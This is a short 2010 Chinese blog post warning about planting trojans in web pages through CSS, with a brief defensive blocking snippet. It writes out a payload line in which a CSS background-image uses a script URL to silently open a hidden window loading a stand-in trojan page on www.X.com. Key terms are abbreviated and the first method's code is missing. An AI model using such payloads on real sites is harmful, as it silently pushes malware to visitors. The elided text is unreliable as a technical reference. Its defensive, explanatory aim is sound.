查看文章
 
警惕CSS挂马攻击
2010年03月03日 星期三 18:30

    方式1:

    Body

    “background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSSgm方式,这段恶意代码主要是通过“background-image”配合t代码让网页mm悄悄地在用户的电脑中运行。

    那如何将这段CSS恶意代码挂到正常的网页中去呢?hk可以将生成好的网页mm放到自己指定的位置,然后将该段恶意代码写入gm网站的网页中,或者gm网页所调用的CSS文件中。

    小百科:

    使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,如同使用DIV对象那样精确地设置大小。

    方式2:

    Body

    background-image:url(t:open(”http://www.X.com/muma.htm”,”newwindow”,”border=”1″Height=0,Width=0,top=1000,center=0,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no”))

    目前除了使用以前的阻断弹出窗口防范CSSgm之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS.阻断代码如下所示:

    emiao1:expression(this.src=”about:blank”,this.outerHTML=”“);

    将外域的mm代码的src重写成本地IE404错误页面的地址,这样,外域的t代码不会被下载。不过阻断方式也有天生致命的弱点,弱点的秘密我们将于下次揭晓。(作者:Barry)

本篇文章来源于 原文链接


类别:默认分类||添加到搜藏 |分享到i贴吧|浏览(117)|评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
     

   
帮助中心 | 空间客服 | 投诉中心 | 空间协议
©2012 Baidu